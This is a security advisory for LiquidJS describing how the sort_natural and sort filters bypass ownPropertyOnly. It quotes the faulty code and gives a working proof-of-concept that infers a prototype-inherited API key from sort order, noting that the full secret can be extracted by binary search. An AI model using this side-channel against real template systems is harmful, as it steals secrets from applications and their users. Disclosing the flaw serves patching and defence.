GHSA-rv5g-f82m-qrvv LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel

• npm liquidjs: < 10.25.4 → fixed in 10.25.4

Summary The `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. Details In `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain: ```typescript export function sort_natural (this: FilterImpl, input: T[], property?: string) { const propertyString = stringify(property) const compare = property === undefined ? caseInsensitiveCompare : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString]) const array = toArray(input) this.context.memoryLimit.use(array.length) return [...array].sort(compare) } ``` In contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled: ```typescript export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) { if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined return obj[key] } ``` The `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue. PoC ```javascript const { Liquid } = require('liquidjs'); async function main() { const engine = new Liquid({ ownPropertyOnly: true }); // Object with prototype-inherited secret function UserModel() {} UserModel.prototype.apiKey = 'sk-1234-secret-token'; const target = new UserModel(); target.name = 'target'; const probe_a = { name: 'probe_a', apiKey: 'aaa' }; const probe_z = { name: 'probe_z', apiKey: 'zzz' }; // Direct access: correctly blocked by ownPropertyOnly const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] }); console.log('Direct access:', JSON.stringify(r1)); // "" (blocked) // map filter: correctly blocked const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] }); console.log('Map filter:', JSON.stringify(r2)); // "" (blocked) // sort_natural: BYPASSES ownPropertyOnly const r3 = await engine.parseAndRender( '{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}', { users: [probe_z, target, probe_a] } ); console.log('sort_natural order:', r3); // Output: "probe_a,target,probe_z," // If apiKey were blocked: original order "probe_z,target,probe_a," // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz) } main(); ``` Result: ``` Direct access: "" Map filter: "" sort_natural order: probe_a,target,probe_z, ``` The sorted order reveals that the target's prototype `apiKey` falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search. Impact Information disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.